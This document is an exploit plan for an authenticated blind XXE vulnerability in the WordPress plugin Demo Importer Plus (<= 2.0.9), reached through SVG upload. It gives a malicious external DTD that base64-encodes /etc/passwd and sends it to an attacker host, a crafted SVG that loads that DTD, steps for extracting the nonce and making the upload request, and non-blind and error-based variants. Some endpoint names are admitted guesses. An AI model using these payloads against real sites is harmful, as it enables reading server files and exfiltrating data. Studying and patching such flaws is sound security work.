Demo Importer Plus <= 2.0.9 - Authenticated (Author+) Blind XML External Entity Injection via SVG File Upload

This research plan outlines the steps required to demonstrate an Authenticated Blind XML External Entity Injection (XXE) vulnerability in the Demo Importer Plus plugin (<= 2.0.9).

1. Vulnerability Summary

The Demo Importer Plus plugin fails to properly restrict XML external entity references when processing SVG files. When an SVG is uploaded—a format based on XML—the plugin's server-side logic parses the file content without disabling external entity loading (LIBXML_NOENT or libxml_disable_entity_loader(true)).

On PHP versions older than 8.0 (where external entity loading is enabled by default), an attacker with Author privileges can upload a crafted SVG containing an external entity. This results in Blind XXE, allowing the attacker to read local files or perform Server-Side Request Forgery (SSRF).

2. Attack Vector Analysis

• Vulnerable Endpoint: admin-ajax.php or the standard WordPress media upload flow if the plugin hooks into it.
• Action String: Likely related to demo content processing or custom icon uploads (e.g., dip_upload_svg or demo_importer_plus_import).
• Payload Parameter: A file upload field (multipart/form-data) containing the SVG.
• Authentication: Author-level credentials or higher. Authors have the upload_files capability by default.
• Precondition: The site must be running on PHP < 8.0.

3. Code Flow (Inferred)

1. The user accesses the plugin's demo import or settings page.
2. An upload trigger (AJAX or Form) is initiated.
3. The plugin handles the file via a callback function (e.g., upload_svg_callback).
4. The plugin attempts to "sanitize" or "read" the SVG metadata using simplexml_load_string(), simplexml_load_file(), or DOMDocument::loadXML().
5. Because the libxml entity loader is not explicitly disabled, the parser resolves external entities defined in the SVG's DOCTYPE.

4. Nonce Acquisition Strategy

Since this is an authenticated vulnerability requiring Author-level access, we must obtain a valid nonce and session cookies.

1. Identify the Script/Nonce: Look for wp_localize_script in the plugin source (often in class-admin.php or main.php).
   • Likely Variable Name: dip_ajax_obj or demo_importer_plus_vars.
   • Likely Nonce Key: nonce or ajax_nonce.
2. Test Data Setup:
   • Create an Author user: wp user create attacker attacker@example.com --role=author --user_pass=password
3. Extraction via Browser:
   • Log in as the Author user.
   • Navigate to the Demo Importer Plus dashboard (e.g., /wp-admin/admin.php?page=demo-importer-plus).
   • Execute in browser_eval:

     // Example check (adjust based on actual localization found in source)
     window.dip_ajax_obj?.nonce || window.demo_importer_plus_vars?.ajax_nonce;
     

5. Exploitation Strategy

We will use a Blind OOB (Out-of-Band) approach to exfiltrate /etc/passwd.

Step 1: Host a Malicious DTD

Host a file named ext.dtd on an attacker-controlled server (e.g., an http_request listener or a simple webhook):

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://ATTACKER_IP/?data=%file;'>">
%eval;
%exfiltrate;

Step 2: Craft the Malicious SVG

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY % remote SYSTEM "http://ATTACKER_IP/ext.dtd">
  %remote;
]>
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
</svg>

Step 3: Trigger the Upload

Use http_request to send the multipart request as the Author user:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Include Author cookies.
• Body (Multipart):
  • action: demo_importer_plus_handle_svg (Inferred - verify in source)
  • nonce: [EXTRACTED_NONCE]
  • svg_file: [MALICIOUS_SVG_CONTENT]

6. Test Data Setup

1. Environment Check: Ensure PHP version is 7.4 or earlier.
   • wp eval "echo PHP_VERSION;"
2. Plugin Installation: Install Demo Importer Plus v2.0.9.
3. Attacker User:
   • wp user create author_guy author@test.com --role=author --user_pass=password
4. OOB Listener: Prepare a URL to receive the HTTP request from the target server.

7. Expected Results

1. The target WordPress server will parse the SVG.
2. The XML parser will reach out to http://ATTACKER_IP/ext.dtd.
3. The server will then read /etc/passwd, base64 encode it, and send it as a query parameter to http://ATTACKER_IP/?data=[BASE64_DATA].
4. The attacker's logs will show the incoming request with the encoded file contents.

8. Verification Steps

1. Check Listener Logs: Confirm a GET request was received at the attacker's URL.
2. Decode Data: Take the data parameter value and decode it:
   • echo "[BASE64_STRING]" | base64 -d
   • Verify it contains typical /etc/passwd content (e.g., root:x:0:0...).
3. Confirm Sink: If no OOB hit occurs, check the WordPress debug.log (if enabled) for XML parsing errors, which often reveal the path being accessed.

9. Alternative Approaches

• Internal File Read (Non-Blind): If the plugin echoes back any part of the SVG metadata (like a <title> tag), use a direct entity:

  <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
  <svg><title>&xxe;</title></svg>
  

• PHP Version Bypass: If the site is on PHP 8.0+, XXE is much harder unless LIBXML_NOENT is explicitly passed. In that case, focus on finding code where the plugin uses DOMDocument and sets $dom->substituteEntities = true;.
• Error-Based XXE: If OOB is blocked by a firewall, attempt to trigger a PHP error that includes the content of a non-existent file or a malformed DTD.